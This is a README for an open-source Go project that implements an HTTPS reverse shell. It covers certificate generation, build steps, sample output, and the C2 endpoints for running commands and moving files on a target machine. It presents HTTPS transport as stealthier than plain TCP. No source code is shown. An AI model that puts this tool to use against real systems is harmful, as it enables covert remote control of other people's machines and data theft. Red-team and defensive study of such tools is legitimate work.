https-reverse-shell-golang

A HTTPS reverse shell implemented in the Go programming language.

Prerequisites

• You need to have Golang installed on your system and have the variables $GOPATH and $GOBIN set.
• Install go-bindata via $ go get -u github.com/go-bindata/go-bindata/...
• Install openssl in order to generate your cert/key pair.

Build

In order to build, you need to create a server cert/key pair like this:

$ openssl genrsa -out server.key 2048
$ openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650

Put the server.cert and server.key into the corresponding resource directories:

c2  
└─resources
│    server.crt
│    server.key
payload
└─resources
│    server.crt

Now you need to generate the resource file and build the binary:

$ cd c2 && go generate && go build
$ cd payload && go generate && go build

Eventually, you can run the binaries:

$ ./c2
[+] Server listening on (:4433)

$ ./payload
[+] Calling home to c2 to get cmd...

Functionality

• Arbitrary command execute
• File upload
• File download

Details

The payload calls home to the c2 server in an endless loop until it receives the "quit" command. The c2 requests a command from the user upon beacon from the payload. You can send any CLI arguments and upload/download arguments in the form of:

CMD > upload <localFilePath> <remoteFilePath>

CMD > download <remoteFilePath> <localFilePath>

(localFilePath := on the target machine, remoteFilePath := on the c2 machine)

The c2 server implements the following endpoints:

• /getcmd - Asks the user for a command to send to the payload
• /cmdouput - Retrieves the output for the command executed on target machine through payload
• /upload - Handles upload requests
• /download - Handles download requests

The communication is encrypted via TLS. The general benefit of a HTTP/S reverse shell over a regular TCP reverse shell is that the traffic looks more legit and thus is stealthier.

Outstanding improvements

• Implement multi-user (multiple payloads) management
• Implement change directory cmd